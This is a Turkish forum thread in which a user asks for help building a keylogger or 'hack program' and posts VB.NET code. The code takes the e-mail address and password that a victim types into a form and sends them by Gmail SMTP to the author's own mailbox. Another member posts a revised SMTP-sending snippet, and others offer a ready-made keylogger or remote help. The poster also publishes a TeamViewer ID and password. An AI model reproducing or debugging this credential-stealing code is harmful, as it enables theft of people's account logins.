kEYLOGER YAPMAYI BİLEN?

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #2

Yook ögrenmem lazm.Bi şe olmaz

 

Oyla 0 Downvote

S

SherLock1

Uzman üye

23 Tem 2013

1,289

0

Nereye

Kredi

0

• 3 Eki 2013

• #3

keylogger yapma ugrasma o kadar

 

Oyla 0 Downvote

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #4

Öğretcek misiniz ögretemyecek misiniz?

 

Oyla 0 Downvote

S

SherLock1

Uzman üye

23 Tem 2013

1,289

0

Nereye

Kredi

0

• 3 Eki 2013

• #5

sen nerde takıldın yaparken

 

Oyla 0 Downvote

Unauthorized

Kıdemli Üye

14 Eki 2011

2,602

3

C:\

Kredi

0

• 3 Eki 2013

• #6

Keylogger virüsümü oluşturacaksın visual ile yazacakmısın ? kodlama yani ?

 

Oyla 0 Downvote

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #7

Visual studio ile yazıom hep şu hatayı alıom.Bir türlü çalışmıo uygulama

http://k1310.hizliresim.com/1g/3/t7q35.bmp

Kullandığım kodlar ise şu



If TextBox1.Text = "" Then
MsgBox("E-Posta Boş Bırakılamaz.")
If TextBox2.Text = "" Then
MsgBox("Şifre Alanı Boş Bırakılamaz.")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("gmail")
mail.Subject = "E-Posta : " & TextBox1.Text
mail.Body = "Sifre : " & TextBox2.Text & ","
smtpServer.Send(mail)

 

Oyla 0 Downvote

duman05

Adanmış Üye

9 Eyl 2012

6,326

2

Kredi

0

• 3 Eki 2013

• #8

Şimdi Keylooger Dediğin Basılan Tuşu Kayıt Eden Program mı ? Eğer Buysa Yapman İçin Vb c+ Falan Bir Dil Bilmen Gerekiyor Eğer Dil Bilmiyorsan Uğraşma Yapamazsın Ben Yaptım İstersen Sana Atabilirim Veya Google Yaz Hazır Bir tane Kullan...

 

Oyla 0 Downvote

N

netstat

Üye

3 Eki 2013

56

0

Kredi

0

• 3 Eki 2013

• #9

özelden tw at

 

Oyla 0 Downvote

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #10

Keyloger deil de hack programı dielim biz bu işe. Ne olur yardım edin

 

Oyla 0 Downvote

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #11

Tw ne? Twitter kullanmıom Tüm hataları gösterdm
Team ıd veriom
ne olur yardm edin

Id: 309 236 332
Şifre: 8476

 

Oyla 0 Downvote

duman05

Adanmış Üye

9 Eyl 2012

6,326

2

Kredi

0

• 3 Eki 2013

• #12

Dostun Ne Yaptın Değiştir Şifreni Çabuk Şİmdi Biri Giricek Özelden At atıcaksan...

 

Oyla 0 Downvote

duman05

Adanmış Üye

9 Eyl 2012

6,326

2

Kredi

0

• 3 Eki 2013

• #13

myevrenmy' Alıntı:

Visual studio ile yazıom hep şu hatayı alıom.Bir türlü çalışmıo uygulama

http://k1310.hizliresim.com/1g/3/t7q35.bmp

Kullandığım kodlar ise şu



If TextBox1.Text = "" Then
MsgBox("E-Posta Boş Bırakılamaz.")
If TextBox2.Text = "" Then
MsgBox("Şifre Alanı Boş Bırakılamaz.")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("gmail")
mail.Subject = "E-Posta : " & TextBox1.Text
mail.Body = "Sifre : " & TextBox2.Text & ","
smtpServer.Send(mail)

Genişletmek için tıkla ...

Burda Gönderilirse Başarıyla Gönderilidi Mesajı Vericek Gönderilmediyse Hata Mesajı Vericek Dene

Kod:

 Button1.Click
        Try
            Dim Mail As New MailMessage
            Mail.To.Add(TextBox1.Text)
            Mail.From = New MailAddress(TextBox1.Text)
            Mail.Subject = ""
            Mail.Body = ""
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
            SMTP.Send(Mail)
            MsgBox("Başarıyla Gönderildi", MsgBoxStyle.Information, "Başarılı!")
        Catch ex As Exception
            MsgBox("Kullanıcı Adınız Veya Şifreniz Hatalı Olabilir", MsgBoxStyle.Critical, "Hata")
        End Try
    End Sub

End Class

 

Oyla 0 Downvote

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #14

dUMAN Kardş hata verdi

 

Oyla 0 Downvote

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #15

Duman kardeş pm attım Team ıd ile şfre

 

Oyla 0 Downvote

duman05

Adanmış Üye

9 Eyl 2012

6,326

2

Kredi

0

• 3 Eki 2013

• #16

Bende Team Yok Kardeş Bu Arada Vb 2008 İçin Verdiğim Kodları Visual Studio Kullanıyon Sen O Yüzden Hata Verebilir...

 

Oyla 0 Downvote

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #17

Yooo hep hata veriYO. Acaba neyden kaynaklanabilir?

 

Oyla 0 Downvote

N

netstat

Üye

3 Eki 2013

56

0

Kredi

0

• 3 Eki 2013

• #18

myevrenmy kardeşim özelden team ver yapaım

 

Oyla 0 Downvote

M

myevrenmy

Üye

3 Haz 2013

128

0

Kredi

0

• 3 Eki 2013

• Konuyu başlatan
• #19

faceden ulaş bana netstat kardş

 

Oyla 0 Downvote